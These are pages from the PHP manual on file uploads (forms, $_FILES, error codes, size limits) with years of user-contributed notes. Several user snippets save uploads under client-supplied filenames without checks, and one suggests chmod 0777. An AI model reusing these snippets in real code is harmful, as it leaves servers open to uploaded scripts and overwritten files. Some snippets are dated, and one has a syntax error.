IE on the Mac is a bit troublesome.  If you are uploading a file with an unknown file suffix, IE uploads the file with a mime type of "application/x-macbinary".  The resulting file includes the resource fork wrapped around the file.  Not terribly useful.

The following code assumes that the mime type is in $type, and that you have loaded the file's contents into $content.  If the file is in MacBinary format, it delves into the resource fork header, gets the length of the data fork (bytes 83-86) and uses that to get rid of the resource fork.

(There is probably a better way to do it, but this solved my problem):

<?php
if ($type == 'application/x-macbinary') {
    if (strlen($content) < 128) die('File too small');
    $length = 0;
    for ($i=83; $i<=86; $i++) {
        $length = ($length * 256) + ord(substr($content,$i,1));
          }
    $content = substr($content,128,$length);
}
?>
~caetin~ ( at ) ~hotpop~ ( dot ) ~com~ 10-Feb-2004 08:37
From the manual:

     If no file is selected for upload in your form, PHP will return $_FILES['userfile']['size'] as 0, and $_FILES['userfile']['tmp_name'] as none.

As of PHP 4.2.0, the "none" is no longer a reliable determinant of no file uploaded. It's documented if you click on the "error codes" link, but you need to look at the $_FILES['your_file']['error']. If it's 4, then no file was selected.
maya_gomez ~ at ~ mail ~ dot ~ ru 06-Feb-2004 05:20
when you upload the file, $_FILES['file']['name'] contains its original name converted into server's default charset.
if a name contain characters that aren't present in default charset, the conversion fails and the $_FILES['file']['name'] remains in original charset.

i've got this behavior when uploading from a windows-1251 environment into koi8-r. if a filename has the number sign "¹" (0xb9), it DOES NOT GET CONVERTED as soon as there is no such character in koi8-r.

Workaround i use:

<?php
if (strstr ($_FILES['file']['name'], chr(0xb9)) != "")
{
    $_FILES['file']['name'] = iconv (
        "windows-1251",
        "koi8-r",
        str_replace (chr(0xb9), "N.", $_FILES['file']['name']));
};
?>
e4c5 at raditha dot com 12-Aug-2003 02:22
Progress bar support has been a recurring theme in many a PHP mailing list over the years. You can find a free progress monitor component for PHP file uploads at http://sourceforge.net/projects/megaupload/

The advantage of this system is that you do not have to apply any patches to PHP to make use of it.
diegoful at yahoo dot com 25-Mar-2003 12:22
SECURITY CONSIDERATION: If you are saving all uploaded files to a directory accesible with an URL, remember to filter files not only by mime-type (e.g. image/gif), but also by extension. The mime-type is reported by the client, if you trust him, he can upload a php file as an image and then request it, executing malicious code.
I hope I am not giving hackers a good idea anymore than I am giving it to good-intended developers. Cheers.
garyds at miraclemedia dot ca 15-Mar-2003 06:12
As it has been mentioned, Windows-based servers have trouble with the path to move the uploaded file to when using move_uploaded_file()... this may also be the reason copy() works and not move_uploaded_file(), but of course move_uploaded_file() is a much better method to use. The solution in the aforementioned note said you must use "\\" in the path, but I found "/" works as well. So to get a working path, I used something to the effect of:

"g:/rootdir/default/www/".$_FILES['userfile']['name']

...which worked like a charm.

I am using PHP 4.3.0 on a win2k server.

Hope this helps!
ov at xs4all dot nl 08-Mar-2003 07:08
This took me a few days to find out: when uploading large files with a slow connection to my WIN2K/IIS5/PHP4 server the POST form kept timing out at exactly 5 minutes. All PHP.INI settings were large enough to accomodate huge file uploads. Searched like hell with keywords like "file upload php timeout script" until I realised that I installed PHP as CGI and added that as a keyword. This was the solution:

To set the timeout value:
1. In the Internet Information Services snap-in, select the computer icon and open its property sheets.
2. Under Master Properties, select WWW Service, and then click the Edit button
3. Click the Home Directory tab.
4. Click the Configuration button.
5. Click the Process Options tab, and then type the timeout period in the CGI Script Timeout box.
travis dot lewis at amd dot com 04-Dec-2002 12:58
If you we dumb like me you installed Redhat 8.0 and kept the default install of packages for Apache 2.0 and PHP4.2.2.  I could not upload any files larger than 512kB and all the php directorives were set to 32MB or higher.
memory_limit = 128M
post_max_size = 64M
upload_max_filesize = 32M

And my upload web page was set to 32MB as well:
<Form ID="frmAttach" Name="frmAttach" enctype="multipart/form-data" action="attachments.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="33554432" />

However, the insiduous php.conf (/etc/httpd/conf.d/php.conf) file used by default RPM install of Redhat httpd has a LimitRequestBody set to 512kB ("524288" ).  Adjusting this to 32MB ("33554432") got things going for the larger files.  Here is my php.conf file in its entirety.  Hope this helps someone.  L8er.

#
# PHP is an HTML-embedded scripting language which attempts to make it
# easy for developers to write dynamically generated webpages.
#

LoadModule php4_module modules/libphp4.so

#
# Cause the PHP interpreter handle files with a .php extension.
#
<Files *.php>
    SetOutputFilter PHP
    SetInputFilter PHP
    LimitRequestBody 33554432
</Files>

#
# Add index.php to the list of files that will be served as directory
# indexes.
#
solja at gci dot net 03-May-2002 06:11
Just another way I found to keep an uploaded file from overwriting an already exisiting one - I prefix each uploaded file with time() timestamp. Something like:
$unique_id = time();

Then when I give the new name to move the file to, I use something like:
$unique_id."-".$filename

So I get a fairly unique filename each time a file is uploaded. Obviously, if two files are uploaded at once, both will have the same timestamp, but I don't worry too much about that. Hope this might help someone.
am at netactor dot NO_SPAN dot com 14-Mar-2002 10:20
Your binary files may be uploaded incorrectly if you use modules what recode characters. For example, for Russian Apache, you should use
<Files ScriptThatReceivesUploads.php>
CharsetDisable On
</Files>
Dealing with XForms
POST method uploads
Features


POST method uploads

This feature lets people upload both text and binary files. With PHP's authentication and file manipulation functions, you have full control over who is allowed to upload and what is to be done with the file once it has been uploaded.

PHP is capable of receiving file uploads from any RFC-1867 compliant browser.

Note: Related Configurations Note

See also the file_uploads, upload_max_filesize, upload_tmp_dir, post_max_size and max_input_time directives in php.ini

PHP also supports PUT-method file uploads as used by Netscape Composer and W3C's Amaya clients. See the PUT Method Support for more details.

Example #1 File Upload Form

A file upload screen can be built by creating a special form which looks something like this:

<!-- The data encoding type, enctype, MUST be specified as below -->
<form enctype="multipart/form-data" action="__URL__" method="POST">
    <!-- MAX_FILE_SIZE must precede the file input field -->
    <input type="hidden" name="MAX_FILE_SIZE" value="30000" />
    <!-- Name of input element determines name in $_FILES array -->
    Send this file: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
</form>

The __URL__ in the above example should be replaced, and point to a PHP file.

The MAX_FILE_SIZE hidden field (measured in bytes) must precede the file input field, and its value is the maximum filesize accepted by PHP. This form element should always be used as it saves users the trouble of waiting for a big file being transferred only to find that it was too large and the transfer failed. Keep in mind: fooling this setting on the browser side is quite easy, so never rely on files with a greater size being blocked by this feature. It is merely a convenience feature for users on the client side of the application. The PHP settings (on the server side) for maximum-size, however, cannot be fooled.

Note:

Be sure your file upload form has attribute enctype="multipart/form-data" otherwise the file upload will not work.

The global $_FILES exists as of PHP 4.1.0 (Use $HTTP_POST_FILES instead if using an earlier version). These arrays will contain all the uploaded file information.

The contents of $_FILES from the example form is as follows. Note that this assumes the use of the file upload name userfile, as used in the example script above. This can be any name.

$_FILES['userfile']['name']

The original name of the file on the client machine.

$_FILES['userfile']['type']

The mime type of the file, if the browser provided this information. An example would be "image/gif". This mime type is however not checked on the PHP side and therefore don't take its value for granted.

$_FILES['userfile']['size']

The size, in bytes, of the uploaded file.

$_FILES['userfile']['tmp_name']

The temporary filename of the file in which the uploaded file was stored on the server.

$_FILES['userfile']['error']

The error code associated with this file upload. This element was added in PHP 4.2.0

Files will, by default be stored in the server's default temporary directory, unless another location has been given with the upload_tmp_dir directive in php.ini. The server's default directory can be changed by setting the environment variable TMPDIR in the environment in which PHP runs. Setting it using putenv() from within a PHP script will not work. This environment variable can also be used to make sure that other operations are working on uploaded files, as well.

Example #2 Validating file uploads

See also the function entries for is_uploaded_file() and move_uploaded_file() for further information. The following example will process the file upload that came from a form.

<?php
// In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used instead
// of $_FILES.

$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

echo '<pre>';
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "File is valid, and was successfully uploaded.\n";
} else {
    echo "Possible file upload attack!\n";
}

echo 'Here is some more debugging info:';
print_r($_FILES);

print "</pre>";

?>

The PHP script which receives the uploaded file should implement whatever logic is necessary for determining what should be done with the uploaded file. You can, for example, use the $_FILES['userfile']['size'] variable to throw away any files that are either too small or too big. You could use the $_FILES['userfile']['type'] variable to throw away any files that didn't match a certain type criteria, but use this only as first of a series of checks, because this value is completely under the control of the client and not checked on the PHP side. As of PHP 4.2.0, you could use $_FILES['userfile']['error'] and plan your logic according to the error codes. Whatever the logic, you should either delete the file from the temporary directory or move it elsewhere.

If no file is selected for upload in your form, PHP will return $_FILES['userfile']['size'] as 0, and $_FILES['userfile']['tmp_name'] as none.

The file will be deleted from the temporary directory at the end of the request if it has not been moved away or renamed.

Example #3 Uploading array of files

PHP supports HTML array feature even with files.

<form action="" method="post" enctype="multipart/form-data">
<p>Pictures:
<input type="file" name="pictures[]" />
<input type="file" name="pictures[]" />
<input type="file" name="pictures[]" />
<input type="submit" value="Send" />
</p>
</form>
<?php
foreach ($_FILES["pictures"]["error"] as $key => $error) {
    if ($error == UPLOAD_ERR_OK) {
        $tmp_name = $_FILES["pictures"]["tmp_name"][$key];
        $name = $_FILES["pictures"]["name"][$key];
        move_uploaded_file($tmp_name, "data/$name");
    }
}
?>

File upload progress bar can be implemented using Session Upload Progress.

User Contributed Notes

gustavo at roskus dot com 08-Aug-2011 12:21
Some hosting does not have permission to use the move_uploaded_file function should replace the copy function
Age Bosma 10-Jun-2011 02:49
"If no file is selected for upload in your form, PHP will return $_FILES['userfile']['size'] as 0, and $_FILES['userfile']['tmp_name'] as none."

Note that the situation above is the same when a file exceeding the MAX_FILE_SIZE hidden field is being uploaded. In this case $_FILES['userfile']['size'] is also set to 0, and $_FILES['userfile']['tmp_name'] is also empty. The difference would only be the error code.
Simply checking for these two conditions and assuming no file upload has been attempted is incorrect.

Instead, check if $_FILES['userfile']['name'] is set or not. If it is, a file upload has at least been attempted (a failed attempt or not). If it is not set, no attempt has been made.
zingaburga at hotmail dot com 02-Feb-2011 07:09
The documentation is a little unclear about the MAX_FILE_SIZE value sent in the form with multiple file input fields.  The following is what I have found through testing - hopefully it may clarify it for others.

The MAX_FILE_SIZE is applied to each file (not the total size of all files) and to all file inputs which appear after it.  This means that it can be overridden for different file fields.  You can also disable it by sending no number, or sending 0 (probably anything that == '0' if you think about it).

Example:

<form enctype="multipart/form-data" action="." method="POST">
  <!-- no maximum size for userfile0 -->
  <input name="userfile0" type="file" />

  <input type="hidden" name="MAX_FILE_SIZE" value="1000" />
  <!-- maximum size for userfile1 is 1000 bytes -->
  <input name="userfile1" type="file" />
  <!-- maximum size for userfile2 is 1000 bytes -->
  <input name="userfile2" type="file" />

  <input type="hidden" name="MAX_FILE_SIZE" value="2000" />
  <!-- maximum size for userfile3 is 2000 bytes -->
  <input name="userfile3" type="file" />

  <input type="hidden" name="MAX_FILE_SIZE" value="0" />
  <!-- no maximum size for userfile4 -->
  <input name="userfile4" type="file" />
</form>
mail at markuszeller dot com 10-Jan-2011 12:34
If you want to increase the upload size, it could make sense to allow it only to a specified directory and not in the php.ini for the whole domain or server. In my case it worked very well placing that into the .htaccess file like this:

php_value    upload_max_filesize    100M
php_value    post_max_size    101M

Remember, post_max_size must be bigger than the upload_max_filesize.
Mark 29-Sep-2010 04:12
$_FILES will be empty if a user attempts to upload a file greater than post_max_size in your php.ini

post_max_size should be >= upload_max_filesize in your php.ini.
michael 05-Dec-2009 09:19
Just a little note, when I was trying to get this to work on my webserver I got error telling me the permissions were wrong, I checked and couldn't see anything wrong then I thought to try "./" for my upload directory instead of the full address which was something like "home/username/public_html/uploaddir". This will save it in the same directory as your script for the program above thats something like

<?php
// In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used instead
// of $_FILES.

$uploaddir = './';//<----This is all I changed
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

echo '<pre>';
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "File is valid, and was successfully uploaded.\n";
} else {
    echo "Possible file upload attack!\n";
}

echo 'Here is some more debugging info:';
print_r($_FILES);

print "</pre>";

?>

I know something trivial but when your new to this, those kind of things elude you.
daevid at daevid dot com 11-Jun-2009 02:35
I think the way an array of attachments works is kind of cumbersome. Usually the PHP guys are right on the money, but this is just counter-intuitive. It should have been more like:

Array
(
    [0] => Array
        (
            [name] => facepalm.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/phpn3FmFr
            [error] => 0
            [size] => 15476
        )

    [1] => Array
        (
            [name] =>
            [type] =>
            [tmp_name] =>
            [error] => 4
            [size] =>
        )
)

and not this
Array
(
    [name] => Array
        (
            [0] => facepalm.jpg
            [1] =>
        )

    [type] => Array
        (
            [0] => image/jpeg
            [1] =>
        )

    [tmp_name] => Array
        (
            [0] => /tmp/phpn3FmFr
            [1] =>
        )

    [error] => Array
        (
            [0] => 0
            [1] => 4
        )

    [size] => Array
        (
            [0] => 15476
            [1] => 0
        )
)

Anyways, here is a fuller example than the sparce one in the documentation above:

<?php
foreach ($_FILES["attachment"]["error"] as $key => $error)
{
       $tmp_name = $_FILES["attachment"]["tmp_name"][$key];
       if (!$tmp_name) continue;

       $name = basename($_FILES["attachment"]["name"][$key]);

    if ($error == UPLOAD_ERR_OK)
    {
        if ( move_uploaded_file($tmp_name, "/tmp/".$name) )
            $uploaded_array[] .= "Uploaded file '".$name."'.<br/>\n";
        else
            $errormsg .= "Could not move uploaded file '".$tmp_name."' to '".$name."'<br/>\n";
    }
    else $errormsg .= "Upload error. [".$error."] on file '".$name."'<br/>\n";
}
?>
eslindsey at gmail dot com 29-Mar-2009 11:09
Also note that since MAX_FILE_SIZE hidden field is supplied by the browser doing the submitting, it is easily overridden from the clients' side.  You should always perform your own examination and error checking of the file after it reaches you, instead of relying on information submitted by the client.  This includes checks for file size (always check the length of the actual data versus the reported file size) as well as file type (the MIME type submitted by the browser can be inaccurate at best, and intentionally set to an incorrect value at worst).
claude dot pache at gmail dot com 19-Mar-2009 09:26
Note that the MAX_FILE_SIZE hidden field is only used by the PHP script which receives the request, as an instruction to reject files larger than the given bound. This field has no significance for the browser, it does not provide a client-side check of the file-size, and it has nothing to do with web standards or browser features.
Handling file uploads
Error Messages Explained
Handling file uploads


Error Messages Explained

Since PHP 4.2.0, PHP returns an appropriate error code along with the file array. The error code can be found in the error segment of the file array that is created during the file upload by PHP. In other words, the error might be found in $_FILES['userfile']['error'].

UPLOAD_ERR_OK

Value: 0; There is no error, the file uploaded with success.

UPLOAD_ERR_INI_SIZE

Value: 1; The uploaded file exceeds the upload_max_filesize directive in php.ini.

UPLOAD_ERR_FORM_SIZE

Value: 2; The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.

UPLOAD_ERR_PARTIAL

Value: 3; The uploaded file was only partially uploaded.

UPLOAD_ERR_NO_FILE

Value: 4; No file was uploaded.

UPLOAD_ERR_NO_TMP_DIR

Value: 6; Missing a temporary folder. Introduced in PHP 4.3.10 and PHP 5.0.3.

UPLOAD_ERR_CANT_WRITE

Value: 7; Failed to write file to disk. Introduced in PHP 5.1.0.

UPLOAD_ERR_EXTENSION

Value: 8; A PHP extension stopped the file upload. PHP does not provide a way to ascertain which extension caused the file upload to stop; examining the list of loaded extensions with phpinfo() may help. Introduced in PHP 5.2.0.

Note:

These became PHP constants in PHP 4.3.0.

User Contributed Notes

Jeff Miner mrjminer AT gmail DOT com 10-Aug-2010 01:32
One thing that is annoying is that the way these constant values are handled requires processing no error with the equality, which wastes a little bit of space.  Even though "no error" is 0, which typically evaluates to "false" in an if statement, it will always evaluate to true in this context.

So, instead of this:
-----
<?php
if($_FILES['userfile']['error']) {
  // handle the error
} else {
  // process
}
?>
-----
You have to do this:
-----
<?php
if($_FILES['userfile']['error']==0) {
  // process
} else {
  // handle the error
}
?>
-----
Also, ctype_digit fails, but is_int works.  If you're wondering... no, it doesn't make any sense.

To Schoschie:

You ask the question:  Why make stuff complicated when you can make it easy?  I ask the same question since the version of the code you / Anonymous / Thalent (per danbrown) have posted is unnecessary overhead and would result in a function call, as well as a potentially lengthy switch statement.  In a loop, that would be deadly... try this instead:

-----
<?php
$error_types = array(
1=>'The uploaded file exceeds the upload_max_filesize directive in php.ini.',
'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.',
'The uploaded file was only partially uploaded.',
'No file was uploaded.',
6=>'Missing a temporary folder.',
'Failed to write file to disk.',
'A PHP extension stopped the file upload.'
);

// Outside a loop...
if($_FILES['userfile']['error']==0) {
  // process
} else {
  $error_message = $error_types[$_FILES['userfile']['error']];
  // do whatever with the error message
}

// In a loop...
for($x=0,$y=count($_FILES['userfile']['error']);$x<$y;++$x) {
  if($_FILES['userfile']['error'][$x]==0) {
    // process
  } else {
    $error_message = $error_types[$_FILES['userfile']['error'][$x]];
    // Do whatever with the error message
  }
}

// When you're done... if you aren't doing all of this in a function that's about to end / complete all the processing and want to reclaim the memory
unset($error_types);
?>
Tom 09-Aug-2010 03:06
Note: something that might surprise you, PHP also provides a value in the $_FILES array, if the input element has no value at all, stating an error UPLOAD_ERR_NO_FILE.

So UPLOAD_ERR_NO_FILE is not an error, but a note that the input element just had no value. Thus you can't rely on the $_FILES array to see if a file was provided. Instead you have to walk the array and check every single damn entry - which can be quite difficult since the values may be nested if you use input elements named like "foo[bar][bla]".

Seems like PHP just introduced you to yet another common pitfall.
fbsoft01 at yahoo dot com 08-Jul-2010 03:10
Hy guys, i've been trying to set an upload.php script on my Slack 11 machine, unfortunely i always get UPLOAD_ERR_CANT_WRITE, but in that folder the file actually doesn't exists and the folder is set with the user and group set in apache , and i chmod'it to 0777 or 0755 neither worked.
Also php ver is 5.2.3 and apache 2.2.4
NEEED HEEEELP :)
bohwaz 19-Feb-2010 04:41
If you are having a UPLOAD_ERR_NO_TMP_DIR (#6) error then check if you're not using open_basedir. If so, make sure to add /tmp to open_basedir, like that (for apache2) :

php_admin_value open_basedir /home/bohwaz/:/tmp/

Don't forget the trailing slash.
jille at quis dot cx 24-May-2009 08:12
UPLOAD_ERR_PARTIAL is given when the mime boundary is not found after the file data. A possibly cause for this is that the upload was cancelled by the user (pressed ESC, etc).
Schoschie (nh t ngin dott de) 26-Apr-2009 09:43
Why make stuff complicated when you can make it easy?

[Edit of edit by danbrown AT php DOT net: This code is a fixed version of a note originally submitted by (Thalent, Michiel Thalen) on 04-Mar-2009.]

<?php

function file_upload_error_message($error_code) {
    switch ($error_code) {
        case UPLOAD_ERR_INI_SIZE:
            return 'The uploaded file exceeds the upload_max_filesize directive in php.ini';
        case UPLOAD_ERR_FORM_SIZE:
            return 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form';
        case UPLOAD_ERR_PARTIAL:
            return 'The uploaded file was only partially uploaded';
        case UPLOAD_ERR_NO_FILE:
            return 'No file was uploaded';
        case UPLOAD_ERR_NO_TMP_DIR:
            return 'Missing a temporary folder';
        case UPLOAD_ERR_CANT_WRITE:
            return 'Failed to write file to disk';
        case UPLOAD_ERR_EXTENSION:
            return 'File upload stopped by extension';
        default:
            return 'Unknown upload error';
    }
}

// Example
if ($_FILES['file']['error'] === UPLOAD_ERR_OK)
    // upload ok
else
    $error_message = file_upload_error_message($_FILES['file']['error']);

?>
Anonymous 04-Mar-2009 06:32
[EDIT BY danbrown AT php DOT net: This code is a fixed version of a note originally submitted by (Thalent, Michiel Thalen) on 04-Mar-2009.]

This is a handy exception to use when handling upload errors:

<?php

class UploadException extends Exception
{
    public function __construct($code) {
        $message = $this->codeToMessage($code);
        parent::__construct($message, $code);
    }

    private function codeToMessage($code)
    {
        switch ($code) {
            case UPLOAD_ERR_INI_SIZE:
                $message = "The uploaded file exceeds the upload_max_filesize directive in php.ini";
                break;
            case UPLOAD_ERR_FORM_SIZE:
                $message = "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form";
                break;
            case UPLOAD_ERR_PARTIAL:
                $message = "The uploaded file was only partially uploaded";
                break;
            case UPLOAD_ERR_NO_FILE:
                $message = "No file was uploaded";
                break;
            case UPLOAD_ERR_NO_TMP_DIR:
                $message = "Missing a temporary folder";
                break;
            case UPLOAD_ERR_CANT_WRITE:
                $message = "Failed to write file to disk";
                break;
            case UPLOAD_ERR_EXTENSION:
                $message = "File upload stopped by extension";
                break;

            default:
                $message = "Unknown upload error";
                break;
        }
        return $message;
    }
}

// Use
 if ($_FILES['file']['error'] === UPLOAD_ERR_OK) {
//uploading successfully done
} else {
throw new UploadException($_FILES['file']['error']);
}
?>
info at foto50 dot com 03-Jul-2007 02:03
For those reading this manual in german (and/or probably some other languages) and you miss error numbers listed here, have a look to the english version of this page ;)
belowtherim2000 at yahoo dot com 20-Jun-2007 06:25
I've been playing around with the file size limits and with respect to the post_max_size setting, there appears to be a hard limit of 2047M.  Any number that you specify above that results in a failed upload without any informative error describing what went wrong.  This happens regardless of how small the file you're uploading may be.  On error, my page attempts to output the name of the original file.  But what I discovered is that this original file name, which I maintained in a local variable, actually gets corrupted.  Even my attempt to output the error code in $_FILES['uploadedfiles']['error'] returns an empty string/value.

Hopefully, this tidbit will save someone else some grief.
svenr at selfhtml dot org 23-Apr-2007 03:15
Clarification on the MAX_FILE_SIZE hidden form field and the UPLOAD_ERR_FORM_SIZE error code:

PHP has the somewhat strange feature of checking multiple "maximum file sizes".

The two widely known limits are the php.ini settings "post_max_size" and "upload_max_size", which in combination impose a hard limit on the maximum amount of data that can be received.

In addition to this PHP somehow got implemented a soft limit feature. It checks the existance of a form field names "max_file_size" (upper case is also OK), which should contain an integer with the maximum number of bytes allowed. If the uploaded file is bigger than the integer in this field, PHP disallows this upload and presents an error code in the $_FILES-Array.

The PHP documentation also makes (or made - see bug #40387 - http://bugs.php.net/bug.php?id=40387) vague references to "allows browsers to check the file size before uploading". This, however, is not true and has never been. Up til today there has never been a RFC proposing the usage of such named form field, nor has there been a browser actually checking its existance or content, or preventing anything. The PHP documentation implies that a browser may alert the user that his upload is too big - this is simply wrong.

Please note that using this PHP feature is not a good idea. A form field can easily be changed by the client. If you have to check the size of a file, do it conventionally within your script, using a script-defined integer, not an arbitrary number you got from the HTTP client (which always must be mistrusted from a security standpoint).
abuse dot bernhardkroll at arcor dot de 05-Apr-2007 06:08
For a multifile upload try this:

<?php

foreach($_FILES as $file)
{
    if($file['error'] == 0 && $file['size'] > 0)
    {
        move_uploaded_file($file['tmp_name'], $targetdir.$file['name']);
    }
}

?>
web att lapas dott id dott lv 23-Feb-2007 05:49
1. And what about multiple file upload ? - If there is an UPLOAD_ERR_INI_SIZE error with multiple files - we can`t detect it normaly ? ...because that we have an array, but this error returns null and can`t use foreach. So, by having a multiple upload, we can`t normaly inform user about that.. we can just detect, that sizeof($_FILES["file"]["error"]) == 0 , but we can`t actualy return an error code. The max_file_size also is not an exit, becouse it refers on each file seperatly, but upload_max_filesize directive in php.ini refers to all files together. So, for example, if upload_max_filesize=8Mb , max_file_size = 7Mb and one of my files is 6.5Mb and other is 5Mb, it exeeds the upload_max_filesize - cant return an error, becouse we don`t know where to get that error.
Unfortunately we cannot get the file sizes on client side, even AJAX normaly can`t do that.

2. If in file field we paste something, like, D:\whatever , then there also isn`t an error to return in spite of that no such file at all.
stephen at poppymedia dot co dot uk 26-Sep-2005 03:05
if post is greater than post_max_size set in php.ini

$_FILES and $_POST will return empty
adam at gotlinux dot us 27-May-2005 07:28
This is probably useful to someone.

<?php
array(
        0=>"There is no error, the file uploaded with success",
        1=>"The uploaded file exceeds the upload_max_filesize directive in php.ini",
        2=>"The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form"
        3=>"The uploaded file was only partially uploaded",
        4=>"No file was uploaded",
        6=>"Missing a temporary folder"
);
?>
sysadmin at cs dot fit dot edu 15-Feb-2005 07:13
I noticed that on PHP-4.3.2 that $_FILES can also not be set if the file uploaded exceeds the limits set by upload-max-filesize in the php.ini, rather than setting error $_FILES["file"]["error"]
krissv at ifi.uio.no 27-Jan-2005 04:11
When $_FILES etc is empty like Dub spencer says in the note at the top and the error is not set, that might be because the form enctype isnt sat correctly. then nothing more than maybe a http server error happens.

enctype="multipart/form-data" works fine
Dub Spencer 26-Nov-2004 06:56
Upload doesnt work, and no error?

actually, both $_FILES and $_REQUEST in the posted to script are empty?

just see, if  "post_max_size" is lower than the data you want to load.

in the apache error log, there will be an entry like "Invalid method in request". and in the access log, there will be two requests: one for the POST, and another that starts with all "----" and produces a 501.
tyler at fishmas dot org 03-Nov-2004 07:08
In regards to the dud filename being sent, a very simple way to check for this is to check the file size as well as the file name.  For example, to check the file size simple use the size attribute in your file info array:

<?php
if($_FILES["file_id"]["size"]  == 0)
{
         // ...PROCESS ERROR
}
?>
POST method uploads
Common Pitfalls
Handling file uploads


Common Pitfalls

The MAX_FILE_SIZE item cannot specify a file size greater than the file size that has been set in the upload_max_filesize in the php.ini file. The default is 2 megabytes.

If a memory limit is enabled, a larger memory_limit may be needed. Make sure you set memory_limit large enough.

If max_execution_time is set too small, script execution may be exceeded by the value. Make sure you set max_execution_time large enough.

Note: max_execution_time only affects the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), the sleep() function, database queries, time taken by the file upload process, etc. is not included when determining the maximum time that the script has been running.

Warning

max_input_time sets the maximum time, in seconds, the script is allowed to receive input; this includes file uploads. For large or multiple files, or users on slower connections, the default of 60 seconds may be exceeded.

If post_max_size is set too small, large files cannot be uploaded. Make sure you set post_max_size large enough.

Since PHP 5.2.12, the max_file_uploads configuration setting controls the maximum number of files that can uploaded in one request. If more files are uploaded than the limit, then $_FILES will stop processing files once the limit is reached. For example, if max_file_uploads is set to 10, then $_FILES will never contain more than 10 items.

Not validating which file you operate on may mean that users can access sensitive information in other directories.

Please note that the CERN httpd seems to strip off everything starting at the first whitespace in the content-type mime header it gets from the client. As long as this is the case, CERN httpd will not support the file upload feature.

Due to the large amount of directory listing styles we cannot guarantee that files with exotic names (like containing spaces) are handled properly.

A developer may not mix normal input fields and file upload fields in the same form variable (by using an input name like foo[]).

User Contributed Notes

Nirmal Natarajan 11-Dec-2009 08:23
If using IIS 7.0 or above, the Request Filtering is enabled by default and the max allowed content length is set to 30 MB.

One must change this value if they want to allow file uploads of more than 30 MB.

Sample web.config entry:

<configuration>
    </system.webServer>
        <security>
            <requestFiltering>
                <requestLimits maxAllowedContentLength="314572800"/>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

The above setting will allow 300 MB of data to be sent as a request. Hope this helps someone.
dg at artegic dot de 06-Dec-2009 11:57
In case of non-deterministic occurence of the UPLOAD_ERR_PARTIAL error:  The HTTPD (e.g. Apache) should respond with a 'Accept-Ranges: none' header field.
anders jenbo pc dk 02-Oct-2007 03:22
A responce to admin at creationfarm dot com, Mac OS X and Windows running on a NTFS disk also uses a multi stream file system. Still only the data stream in transfared on http upload. It is preferable to pack Mac OS X files in .dmg files rathere then zip but the avarage user will find zip much easir and they are supported on more platforms.
oliver dot schmidt at drehsinn dot de 09-Dec-2006 10:02
If you want to use open_basedir for securing your server (which is highly recommended!!!) remember to add your tmp dir to the open_basedir value in php.ini.

Example: open_basedir = <your htdocs root, etc...>:/tmp

(Tested on gentoo Linux, Apache 2.2, PHP 5.1.6)
rbemrose at gmail dot com 20-Dec-2005 01:07
tjaart:
The HTTP/1.1 standard, section 4.2 says this about message headers:
"Each header field consists of a name followed by a colon (":") and the field value. Field names are case-insensitive. The field value MAY be preceded by any amount of LWS, though a single SP is preferred."

This can be interpreted in two ways:
1. You have to have at least one whitespace character between the header name and field value.
or
2. You can have no whitespace before the field value.

Either way, the standard recommends 1 space, and you already know that works...
tjaart at siam-data-services dot com 22-May-2005 01:27
Took me a while to figure this one out...

I think this is actually a header problem, but it only
happens when doing a file upload.

If you attept a header("location:http://...) redirect after
processing a $_POST[''] from a form doing a file upload
(i.e. having enctype="multipart/form-data"), the redirect
doesn't work in IE if you don't have a space between
location: & http, i.e.
header("location:http://...)  vs
header("location: http://...)

===================================
<?php
if ($_POST['submit']=='Upload') {
    // Process File and the redirect...
    header("location: http://"..."/somewhere.php");
    exit;
}
?>
<html><head></head><body>
<form enctype="multipart/form-data" action="upload.php" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="20000">
    Your file: <input name="filename" type="file">
    <input name="submit" type="submit" value="Upload">
</form>
</body></html>
===================================

This only happens if all of the following are true:
header("location:http://...) with no space
Form being processed has enctype="multipart/form-data"
Browser=IE

To fix the problem, simply add the space.

Hope this helps someone else.
amalcon _a_t_ eudoramail _d_o_t_ com 11-Aug-2004 02:35
Note that, when you want to upload VERY large files (or you want to set the limiters VERY high for test purposes), all of the upload file size limiters are stored in signed 32-bit ints.  This means that setting a limit higher than about 2.1 GB will result in PHP seeing a large negative number.  I have not found any way around this.
morganaj at coleggwent dot ac dot uk 21-Oct-2003 09:53
Here is another that may make your upload fall over.  If you are using Squid or similar proxy server make sure that this is not limiting the size of the HTTP headers. This took me weeks to figure out!
tomcashman at unitekgroup dot com 09-Jun-2003 06:59
For apache, also check the LimitRequestBody directive.
If you're running a Red Hat install, this might be set in /etc/httpd/conf.d/php.conf.
By default, mine was set to 512 KB.
sebastian at drozdz dot ch 28-Apr-2003 03:59
It's important that the variable 'open_basedir' in php.ini isn't  set to a directory that doesn't not includes tempupload directory
admin at creationfarm dot com 04-Feb-2003 08:16
The macintosh OS (not sure about OSx) uses a dual forked file system, unlike the rest of the world ;-). Every macintosh file has a data fork and a resource fork. When a dual forked file hits a single forked file system, something has to go, and it is the resource fork. This was recognized as a problem (bad idea to begin with) and apple started recomending that developers avoid sticking vital file info in the resource fork portion of a file, but some files are still very sensitive to this. The main ones to watch out for are macintosh font files and executables, once the resource fork is gone from a mac font or an executable it is useless. To protect the files they should be stuffed or zipped prior to upload to protect the resource fork.

Most mac ftp clients (like fetch) allow files to be uploaded in Macbinhex, which will also protect the resource fork when transfering files via ftp. I have not seen this equivilent in any mac browser (but I haven't done too much digging either).

FYI, apple does have an old utility called ResEdit that lets you manipulate the resource fork portion of a file.
